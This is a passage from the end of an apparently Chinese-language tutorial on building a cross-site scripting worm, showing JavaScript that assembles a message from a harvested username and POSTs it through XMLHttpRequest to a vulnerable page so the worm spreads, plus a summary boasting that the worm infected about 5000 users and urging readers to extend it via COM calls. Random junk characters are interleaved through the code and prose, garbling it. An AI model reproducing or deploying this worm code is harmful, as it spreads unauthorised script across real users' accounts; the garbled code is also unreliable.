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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.$ A% ]$ t7 n- S1 D) l7 T
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.& t* _2 M5 x- e
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var post="wd="+wd;) Z) j' U) f0 Q$ ]/ ^. g9 N
$ ^6 u) F- D' e0 z/ FxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);- e# ^1 U/ W" Y1 l
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");- e1 ]. ]$ o' o1 ~
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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9 l5 b5 ]: W; T9 z9 M, i* O& p* HxmlHttpReq.send(post); //把传播的信息 POST出去.) ~7 ]; b6 ?% }
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}
& i9 {4 T" ~3 M. D; t% ?复制代码-----------------------------------------------------总结-------------------------------------------------------------------' x. ~9 x; s! {& I) Z3 j! y' ]9 y" x
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户." @+ T9 T' A+ U" H4 L6 T8 C
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
( M9 r. |$ i% [2 [$ o+ K' H7 ?4 S }操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.9 W& n# |3 r z8 p" Q
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本文引用文档资料:
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
# H$ Q4 _0 E# t8 I4 }, k# z5 O eOther XmlHttpRequest tricks (Amit Klein, January 2003)& R u. v3 j" G1 o" T2 u/ E
"Cross Site Tracing" (Jeremiah Grossman, January 2003)1 @* F6 T1 H% i: l5 L2 _$ ?
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
7 N9 Z$ l2 }% \7 T/ B7 X- i空虚浪子心BLOG http://www.inbreak.net
1 m( M; Z; p" e/ i8 E! I; qXeye Team http://xeye.us/9 j0 n" B# f0 h
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